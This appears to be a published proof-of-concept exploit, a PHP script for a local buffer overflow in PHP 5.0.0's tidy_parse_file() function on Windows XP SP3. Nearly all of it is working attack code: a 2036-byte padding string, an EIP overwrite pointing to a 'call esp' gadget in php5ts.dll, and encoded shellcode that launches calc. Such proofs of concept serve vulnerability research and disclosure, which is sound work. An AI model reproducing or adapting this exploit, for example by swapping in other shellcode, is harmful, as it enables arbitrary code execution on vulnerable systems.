PHP 5.0.0 – ‘tidy_parse_file()’ Local Buffer Overflow
<?php ############################################################################# ## PHP 5.0.0 tidy_parse_file() Buffer Overflow Exploit ## Tested on Windows XP SP3 English ## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip ## Date: 17/09/2016 ## Buffer Overflow ## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman) ## http://www.black-rose.ml ############################################################################# $junk = str_repeat("A", 2036); # 2036 x A $eip = "\xaf\xc6\x17\x10"; # 0x1017c6af call esp @ php5ts.dll # windows/exec - 144 bytes, Encoder: x86/shikata_ga_nai, EXITFUNC=seh, CMD=calc $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1". "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30". "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa". "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96". "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b". "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a". "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83". "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98". "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61". "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05". "\x7f\xe8\x7b\xca"; $buffer = $junk.$eip.$shellcode; tidy_parse_file(1,$buffer,1,1); #tidy_repair_file(1,$buffer,1,1); ?> |